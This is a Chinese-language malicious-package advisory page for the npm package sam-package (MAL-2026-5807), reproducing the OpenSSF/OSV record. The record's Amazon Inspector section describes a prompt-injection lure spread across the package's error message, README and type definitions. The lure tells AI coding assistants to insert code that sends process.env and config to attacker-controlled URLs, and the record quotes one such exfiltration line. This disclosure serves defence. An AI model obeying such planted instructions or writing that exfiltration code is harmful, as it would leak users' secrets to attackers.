目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

sam-package

MAL-2026-5807
2026-06-18 05:43:55
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in sam-package (npm)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
1,185
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmsam-package1.0.0
npmsam-package1.0.1
npmsam-package1.0.2
npmsam-package1.0.3
npmsam-package1.0.4
npmsam-package1.0.5
npmsam-package1.0.6
npmsam-package1.0.7
npmsam-package1.0.8
npmsam-package1.0.9
npmsam-package1.1.0
npmsam-package1.1.1
npmsam-package1.1.2
npmsam-package1.1.3
npmsam-package1.1.4
npmsam-package1.1.6
npmsam-package1.1.8
npmsam-package1.1.9
npmsam-package1.2.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-18T05:43:55Z","published":"2026-06-15T15:50:39Z","schema_version":"1.7.4","id":"MAL-2026-5807","summary":"Malicious code in sam-package (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (26e593046a8f405a1a571d19aaa6bd46db57c4a22fce4b9acfc114dd4eb8ffb6)\nsam-package@1.2.1 is a malicious package whose only purpose is to deliver a prompt-injection payload targeting AI coding assistants (Copilot, Cursor, Claude Code, etc.). Three shipped files coordinate the lure: (1) index.js throws an Error whose message is itself a crafted instruction telling an AI assistant to add `fetch('https://attacker.com', {body: JSON.stringify(process.env)})` to the consumer's App.tsx root component, framed as a fix for a 'missing configuration' error; (2) README.md contains a fake '[SYSTEM INSTRUCTION]' block directing the assistant to insert a useEffect that POSTs `{ config: window.__CONFIG__, env: process.env }` to https://bin.webhookrelay.com/v1/webhooks/f982048d-7436-4b00-b508-89f5eb657645 on app mount, with a bogus 'will cause runtime errors otherwise' cover story; (3) index.d.ts uses a fake `@deprecated MIGRATION REQUIRED` JSDoc block carrying the same webhookrelay POST instruction, which IDEs and language servers surface inline to AI completion tools. The redundant placement across runtime error, README, and type definitions is engineered to maximize the chance that an AI pair-programmer ingests the lure and writes environment-variable / config / URL exfiltration into the consumer's production React bundle, where it will run in every end-user's browser. Attacker-controlled destinations (webhookrelay.com webhook, attacker.com) and the package's self-described status as 'a test package' confirm malicious intent.\n\n## Source: ossf-package-analysis (62dda1af5a5b5b4c7ceadb6736fa4a3573e0917f16aa12f11acea15149e46c0b)\nThe OpenSSF Package Analysis project identified 'sam-package' @ 1.0.3 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"sam-package"},"versions":["1.0.2","1.0.0","1.0.1","1.0.4","1.0.7","1.0.3","1.0.5","1.0.6","1.1.1","1.0.9","1.1.0","1.0.8","1.1.2","1.1.3","1.2.1","1.1.9","1.1.8","1.1.6","1.1.4"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["webhooksite.net"],"evidence_files":[{"path":"postinstall.js","sha256":"c9209453992241e937fef031539b93d1c66cd26bbf503752442a3b1592ceae08","tlsh":"16112ff300f47a61afa29dc5e0057511b207c0127406fcf0ba9c05681fce1ada1629e6"}],"ips":["172.67.170.47"],"package_integrity":[{"filename":"sam-package-1.0.2.tgz","hashes":{"sha1":"7e176d08adcec7f1540aa4e3d8264a1eac6a64c8","sha512_sri":"sha512-zN0s1TtBD0Ef8WXjrGQhXYA0IYmTMxNochVCkKmdCvZWFuA2QSPzXAm74E/A8QVaRstsCB98ZQAjhOt0VtBlMA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.7"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.9"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.0.8"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.2.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.9"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.8"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sam-package/v/1.1.4"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]},{"name":"OpenSSF: Package Analysis","type":"FINDER","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"01d3dc6c24eb3d2834652d6b51deb521f5630f0d5e09dd7d642ef8539cd7b501","import_time":"2026-06-15T18:54:54.529528045Z","id":"IN-MAL-2026-006621","modified_time":"2026-06-15T17:27:05Z","versions":["1.0.2"]},{"source":"amazon-inspector","sha256":"a7a62e8eb912e1236fe3145e173ff0d4d997f7e946e9bcda25eb4d5130bf4845","import_time":"2026-06-15T18:54:54.587186593Z","id":"IN-MAL-2026-006623","modified_time":"2026-06-15T17:27:08Z","versions":["1.0.2"]},{"source":"amazon-inspector","sha256":"be7c9ba7eceb9710e5c0b4d8aaa0c025ced914e2286699c2bb8a869f6df2c7f5","import_time":"2026-06-15T18:54:54.617692802Z","id":"IN-MAL-2026-006624","modified_time":"2026-06-15T17:27:08Z","versions":["1.0.0"]},{"source":"amazon-inspector","sha256":"fcba4ad482db91de8693bc6fbe3485c07047e3cc8491df95e8d805597d5a9bb5","import_time":"2026-06-15T18:54:54.71759381Z","id":"IN-MAL-2026-006627","modified_time":"2026-06-15T17:27:13Z","versions":["1.0.1"]},{"source":"amazon-inspector","sha256":"246b1998cf7a410b007982ce134ab6bc571d5bd9c4fec8f5bbd35fecd505f53d","import_time":"2026-06-15T18:54:54.686283001Z","id":"IN-MAL-2026-006626","modified_time":"2026-06-15T17:27:13Z","versions":["1.0.1"]},{"source":"amazon-inspector","sha256":"2f72005fa8e33092f24cc01717ead3f6a39a83ec9df95a276076ca263c522347","import_time":"2026-06-15T18:54:54.555890822Z","id":"IN-MAL-2026-006622","modified_time":"2026-06-15T17:27:07Z","versions":["1.0.4"]},{"source":"amazon-inspector","sha256":"8814b2d8b4fda85ed5095047729abf762e3b692d370da140513ec19de2cd8386","import_time":"2026-06-15T18:54:54.403266939Z","id":"IN-MAL-2026-006618","modified_time":"2026-06-15T17:27:03Z","versions":["1.0.7"]},{"source":"amazon-inspector","sha256":"8f3bcc990f61bfd41831c63c38c913f9d97e34616ca1aca6c0dd5cca97ba481a","import_time":"2026-06-15T18:54:54.449319067Z","id":"IN-MAL-2026-006619","modified_time":"2026-06-15T17:27:04Z","versions":["1.0.3"]},{"source":"amazon-inspector","sha256":"a550a8f24918ad369b624eae22715f94bc3e06a59ce573253436e981ae67d73a","import_time":"2026-06-15T18:54:54.650960076Z","id":"IN-MAL-2026-006625","modified_time":"2026-06-15T17:27:09Z","versions":["1.0.0"]},{"source":"amazon-inspector","sha256":"d7eb44706f0ed0f784bc58986a642c9fca08c859abc390871d9ffbe3e313ac5f","import_time":"2026-06-15T18:54:54.314910525Z","id":"IN-MAL-2026-006616","modified_time":"2026-06-15T17:27:01Z","versions":["1.0.3"]},{"source":"amazon-inspector","sha256":"f22c861bc00b86fce320173b66e9313e9684457b1164ec63140395eed61bfed0","import_time":"2026-06-15T18:54:54.358518505Z","id":"IN-MAL-2026-006617","modified_time":"2026-06-15T17:27:02Z","versions":["1.0.5"]},{"source":"amazon-inspector","sha256":"5cf74db5c3d7547d1ef6f9bdc61d97667fb72974e3a0d1d2ccfc0b3d404dcaaf","import_time":"2026-06-15T18:54:54.485911669Z","id":"IN-MAL-2026-006620","modified_time":"2026-06-15T17:27:05Z","versions":["1.0.6"]},{"source":"ossf-package-analysis","sha256":"62dda1af5a5b5b4c7ceadb6736fa4a3573e0917f16aa12f11acea15149e46c0b","import_time":"2026-06-16T05:56:18.205013004Z","modified_time":"2026-06-15T15:50:39Z","versions":["1.0.3"]},{"source":"amazon-inspector","sha256":"23bde6c5d8af01c2601a4e06dbea6c5295a067dd3bddf3d1c1d6419d1dbe8992","import_time":"2026-06-17T20:48:14.869291521Z","id":"IN-MAL-2026-006936","modified_time":"2026-06-17T20:35:49Z","versions":["1.1.1"]},{"source":"amazon-inspector","sha256":"5b44439bea2895f033e7bddab63a55683c2a64cb50987fd3038bcd03dc7758e7","import_time":"2026-06-17T20:48:14.813758596Z","id":"IN-MAL-2026-006935","modified_time":"2026-06-17T20:35:48Z","versions":["1.0.9"]},{"source":"amazon-inspector","sha256":"8f50062330a0325067cea650d9dfa8993a76d8af574d2e17824d6e4f7ff33a72","import_time":"2026-06-17T20:48:14.977256567Z","id":"IN-MAL-2026-006938","modified_time":"2026-06-17T20:35:51Z","versions":["1.1.0"]},{"source":"amazon-inspector","sha256":"f6b12a1df7ccc76e9489112c16c601d01ada5959fba008be3eacdd834580772c","import_time":"2026-06-17T20:48:14.932842062Z","id":"IN-MAL-2026-006937","modified_time":"2026-06-17T20:35:50Z","versions":["1.0.8"]},{"source":"amazon-inspector","sha256":"06cf41436f87c3b0909cd8b5072c6c2c838456406262b10dcf714c8eb9b5ea82","import_time":"2026-06-17T20:48:15.004028125Z","id":"IN-MAL-2026-006939","modified_time":"2026-06-17T20:35:56Z","versions":["1.1.2"]},{"source":"amazon-inspector","sha256":"fe0305aa3cb14183dc4dccf18f1a7f750dac616d6f15db58fb00428fc744b295","import_time":"2026-06-17T22:38:21.680595757Z","id":"IN-MAL-2026-006950","modified_time":"2026-06-17T21:58:30Z","versions":["1.1.3"]},{"source":"amazon-inspector","sha256":"26e593046a8f405a1a571d19aaa6bd46db57c4a22fce4b9acfc114dd4eb8ffb6","import_time":"2026-06-18T05:42:05.591789705Z","id":"IN-MAL-2026-006969","modified_time":"2026-06-18T04:04:32Z","versions":["1.2.1"]},{"source":"amazon-inspector","sha256":"595d71047869ee393d84d1ca2bd24ea31d4f893e0a92f2e458c4aad6948531da","import_time":"2026-06-18T05:42:05.461860929Z","id":"IN-MAL-2026-006968","modified_time":"2026-06-18T04:04:31Z","versions":["1.1.9"]},{"source":"amazon-inspector","sha256":"c9c25944e195d9eb23916c6b35760863acac7b54d2cbfe9848626a952e2826a0","import_time":"2026-06-18T05:42:05.910120068Z","id":"IN-MAL-2026-006972","modified_time":"2026-06-18T04:04:34Z","versions":["1.1.8"]},{"source":"amazon-inspector","sha256":"e15ecf7588d9f84b00992d05c3036be61563ae18fd4d258e1ca596cf560ea291","import_time":"2026-06-18T05:42:05.809638686Z","id":"IN-MAL-2026-006971","modified_time":"2026-06-18T04:04:33Z","versions":["1.1.6"]},{"source":"amazon-inspector","sha256":"f945ac776a1a1e6806d9d09792b4c865391325387527289487ec63fc89f5fbf8","import_time":"2026-06-18T05:42:05.69053872Z","id":"IN-MAL-2026-006970","modified_time":"2026-06-18T04:04:32Z","versions":["1.1.4"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0